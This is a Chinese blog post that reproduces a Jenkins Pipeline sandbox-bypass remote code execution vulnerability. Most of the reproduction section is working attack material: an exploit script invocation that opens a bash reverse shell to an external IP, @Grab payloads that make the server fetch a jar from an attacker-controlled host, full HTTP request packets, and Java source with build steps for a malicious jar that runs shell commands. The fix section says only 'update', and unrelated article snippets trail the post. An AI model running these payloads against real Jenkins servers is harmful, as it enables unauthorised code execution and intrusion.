[漏洞复现] jenkins 远程代码执行 (CVE-2019-100300)

news2025/8/13 14:37:11

文章目录

  • 一、简介
  • 二、影响版本
  • 三、复现
  • 四、修复

一、简介

拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。

Jenkins的pipeline主要是通过一个配置文件或者job里面的pipeline脚本配置来设定每个job的步骤. pipeline定义了几乎所有要用到的流程, 比如执行shell, 存档, 生成测试报告, 发布报告等。Pipeline使开发者可以方便的去撰写一些构建脚本以完成自动化的编译、测试、发布,其中文名称是流水线(工作流),帮助开发者精心地组织一个可以长期运行在多个节点上的任务。

为了检查使用者撰写的Pipeline Script有没有语法上的错误,Jenkins提供了一个界面给使用者检查自己的Pipeline脚本。通过将抽象语法树(AST,Abstract Syntax Tree)转换注释(如@Grab)应用于源代码单元,可以在脚本编译阶段绕过脚本安全沙箱保护,导致具有Overall/Read权限或能控制SCM中jenkinsfile或沙盒Pipeline共享库内容的用户绕过沙盒保护,并在Jenkins服务器上执行任意代码。

利用转换注释@Grab、@GrabResolover可以写入恶意的Jar文件到jenkins服务器,由于Pipeline是基于Groovy语法的,因此Jenkins使用了GroovyClassLoader.parseClass()来检查Pipeline脚本语法的正确性,最终导致在编译阶段执行了写入到Jenkins服务器的恶意Jar文件。

二、影响版本

Pipeline: Declarative 插件 <= 1.3.4
Pipeline: Groovy 插 件 <= 2.61
Script Security 插 件 <= 1.49

三、复现

工具
vulfocus没有提供账号密码,所以以下是在看别人复现的思路

登录之后,创建一个job

执行下面的语句利用

python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"
反弹shell:

python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/192.168.0.102/12345 0>&1"

不使用工具
验证是否存在漏洞,利用dnslog,看目标是否请求了该地址
payload

@GrabConfig(disableChecksums=true)

@GrabResolver(name='test', root='http://9mdvs1.dnslog.cn')

@Grab(group='test.sec', module='test', version='1')

import Payload;

请求包

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27test%27,%20root=%27http://kv0bn5.dnslog.cn%27)%0A@Grab(group=%27test.sec%27,%20module=%27test%27,%20version=%271%27)%0Aimport%20Payload; HTTP/1.1

Host: host

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

查看dnslog记录:
在这里插入图片描述
利用该漏洞命令执行
1.创建一个java文件,保存为jkrce.java代码如下:

public class jkrce {

  public jkrce() {

    try {

     String payload = "touch /tmp/test11111";

     String[] cmds = { "/bin/bash", "-c", payload };

     java.lang.Runtime.getRuntime().exec(cmds);

    } catch (Exception e) {

} 

}

}

2.创建文件夹META-INF/serverices/,编译并写jkrce类到META-INF/serverices/org.codehaus.groovy.plugins.Runners里,如下:

javac jkrce.java 

mkdir -p META-INF/services/   

echo jkrce > META-INF/services/org.codehaus.groovy.plugins.Runners 

jar cvf jenkins-1.jar ./      

3.在公网web服务器目录里,创建路径/tools/jenkins/1/ 这个路径要与下一步中的路径一致,并将上一步生成的jar文件放到该目录下

mkdir /tools/jenkins/1/

4.发送请求,数据包如下,xxx.xxx.xxx.xxx替换成公网地址即可:

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27payload%27,root=%27http://xxx.xxx.xxx.xxx/%27)%0a@Grab(group=%27tools%27,module=%27jenkins%27,version=%271%27)%0aimport%20jkrce; HTTP/1.1

Host: host

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Connection: close

在这里插入图片描述

四、修复

更新

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/33227.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

锐捷MPLS跨域方案C2实验配置

目录 配置ASBR之间的EBGP邻居 配置PE之间的Vpnv4邻居 此时配置PE与CE设备对接命令 手工配置为PE地址分配标签 MPLS隧道——跨域解决方案C1、C2讲解_静下心来敲木鱼的博客-CSDN博客https://blog.csdn.net/m0_49864110/article/details/127634890?ops_request_misc%257B%252…

数字孪生|交通运输可视化系统

交通是城市经济发展的动脉&#xff0c;与我们的日常生活息息相关。 传统交通信息管理中&#xff0c;只是做了粗略的信息发布以及简单的交通流量监测&#xff0c;早已经不能满足现代智慧交通的需求。现代的智慧交通则提供基于实时交通数据的交通信息服务&#xff0c;融入了物联网…

python离线安装module以及常见问题及解决方案

文章目录一&#xff0c;离线安装module1.1 下载module1.2 离线安装二&#xff0c;常见的问题2.1 模块缺少合适的适配&#xff1a;error: Could not find suitable distribution for Requirement.parse()2.2 install成功但发现控制台打印的最后一行显示下载module版本为0.0.0工作…

如何区分小角X射线散射和小角X射线衍射?

小角X射线散射&#xff08;SAXS&#xff09;大多数被用来测定超细粉体、纳米离子分布的有关性质&#xff0c;小角X射线衍射&#xff08;SAXD&#xff09;则主要用来测定超大晶面间距或者薄膜结构等等问题&#xff0c;在用途上两种实验并不一致&#xff0c;本篇文章将介绍小角X射…

Promise错误处理比较:使用then的第二个参数还是catch

catch是一个语法糖而己 还是通过then来处理的 如果在then的第一个函数里抛出了异常&#xff0c;后面的catch能捕获到&#xff0c;而then的第二个函数捕获不到。 catch是一个语法糖而己 还是通过then 来处理的&#xff1a; Promise.prototype.catch function(fn){return this…

Amazon Braket 与量子计算

KY1,Yankuan Pan2,Bertran Shao3,Zoey Deng41.Amazon HERO&#xff1b;2.项目架构师&#xff1b;3.开发者生态负责人;4.开发者关系 Amazon Braket 是一项完全托管式的量子计算服务&#xff0c;主要可面向研究人员、科学家和开发人员提供一些量子计算软硬件服务进行研究和开发工…

中国设备维修安装企业能力等级证书(制冷空调)

中国设备维修安装企业能力等级证书&#xff08;制冷空调&#xff09;&#xff0c;是由中国制冷学会审定&#xff0c;中国设备管理协会批准颁发&#xff0c;全国性制冷空调设备维修、安装行业能力等级证书。也是目前国内唯一能在中国招标网http://www.ctba.org.cn/查询到的制冷空…

AVX | 关于RC电路耦合、相移、滤波、微分、积分的那些事儿~

所谓RC电路&#xff0c;就是电阻R和电容C组成的一种分压电路。如下图1所示&#xff1a;输入电压加于RC串联电路两端&#xff0c;输出电压取自于电阻R或电容C。由于电容的特殊性质&#xff0c;对下图(a)和(b)不同的输出电压取法&#xff0c;呈现出不同的频率特性。 由此RC电路在…

STM32实战总结:HAL之HMI

什么是HMI&#xff1f; HMI人机界面&#xff0c;HMI是Human Machine Interface 的缩写&#xff0c;“人机接口”&#xff0c;也叫人机界面。 人机界面&#xff08;又称用户界面或使用者界面&#xff09;是系统和用户之间进行交互和信息交换的媒介&#xff0c; 它实现信息的内部…

集世界杯+GameFi元素的MetaElfLand,为何将在世界杯期间爆发?

又到了四年一度的球迷狂欢节&#xff0c;本次卡塔尔世界杯已于11月21号举行。 每当世界杯来临&#xff0c;与世界杯相关产业都会迎来一波爆发&#xff0c;毕竟这个千亿美金市值的市场暗藏着无数的机会。而自GameFi的火热开始&#xff0c;世界杯也成为了加密投资者的狂欢日&…

C语言内存分区

本文参考详细讲解C语言五大内存分区与可执行程序的三段(Text段、Date段、Bss段)【建议收藏】 - 知乎 一、C语言内存分区 1.栈区&#xff08;stack&#xff09;&#xff1a;存放函数形参和局部变量&#xff0c;由编译器自动分配和释放 2.堆区&#xff08;heap&#xff09;&am…

mysql-4-锁机制

1 场景 库存等 共享资源等。 都需要锁&#xff0c;大量并发下&#xff0c;防止库存超卖等现象产生。 2分类 分类 1&#xff1a;(读&#xff0c;写)锁&#xff1a;对数据操作的类型分类 2&#xff1a; 对数据操作的粒度分 行锁&#xff0c;表锁 读写锁 读锁(共享锁)&#xff1a…

ISCSLP 2022 | NPU-ASLP实验室8篇论文被录用

作为语音处理技术领域的旗舰国际会议&#xff0c;ISCSLP2022&#xff08;International Symposium on Chinese Spoken Language Processing&#xff09;将于12月11-14日在新加坡举办。 西工大音频语音与语言处理研究组(ASLPNPU)本届会议将携合作伙伴宣读论文8篇&#xff0c;涉…

MCE | 曲贝替定——来自海洋的抗软组织肿瘤化合物

目前&#xff0c;常用于 STS 的化疗药物为蒽环类药物如阿霉素 (ADM)、异环磷酰胺(IFO) 、环磷酰胺 (CTX) 、顺铂 (DDP) 等。但是&#xff0c;为了解决部分患者不适合利用蒽环类和酰胺类药物治疗&#xff0c;或利用这些药物治疗无效的问题&#xff0c;仍需寻找新的药物治疗方案。…

用gdb调试有问题的程序:练习使用gcc编译器和gdb调试器

内容 1&#xff0e;用gdb调试有问题的程序&#xff1a;练习使用gcc编译器和gdb调试器&#xff1b; 2&#xff0e;练习使用make工程管理器。 实操流程&#xff1a; &#xff08;1&#xff09;编制greet.c文件。 此代码的原意为倒序输出main函数中定义的字符串&#xff0c;但…

JNDI注入的理解、JDK给出的修复

RMI RMI(Remote Method Invocation):一种执行远程调用的Java API。RMI的目的是使在不同计算机上运行的对象(Object)之间的调用行为类似于本地调用。 RMI机制:服务器(Server)应实现一定的功能并将其注册到注册表(Registry)中,客户端(Client)应在注册表的命名空间(Naming spac…

RabbitMQ入门教程(安装,管理插件,Publisher/Consumer/交换机/路由/队列/绑定关系,及如何保证100%投递等)

RabbitMQ入门教程&#xff08;安装&#xff0c;管理插件&#xff0c;Publisher/Consumer/交换机/路由/队列/绑定关系&#xff0c;及如何保证100%投递等&#xff09; 1. RabbitMQ简介及AMQP协议 开源的消息代理和队列服务器。基于AMQP&#xff08;Advanced Message Queuing Pr…

矢量网络分析仪如何校准?安泰测试来助力

要想学会测试, 首先要学会校准! 对矢量网络分析仪的校准是非常重要的一个步骤&#xff0c;能够提高仪器的测量精度。今天安泰测试就给大家分享一下矢量网络分析仪的校准操作步骤&#xff1a; 一、单端口校准 校准目的&#xff1a; 通过单端口校准可以消除该端口的反射跟踪误差、…

[附源码]SSM计算机毕业设计教学辅助系统JAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

双层神经网络实现非线性回归——机器学习

目录 一、算法思想 二、算法原理 三、算法分析 四、源程序代码 五、运行结果及分析 一、算法思想 在两层神经网络之间&#xff0c;必须有激活函数连接&#xff0c;从而加入非线性因素&#xff0c;提高神经网络的能力。所以&#xff0c;我们先从激活函数学起&#xff0c;一类…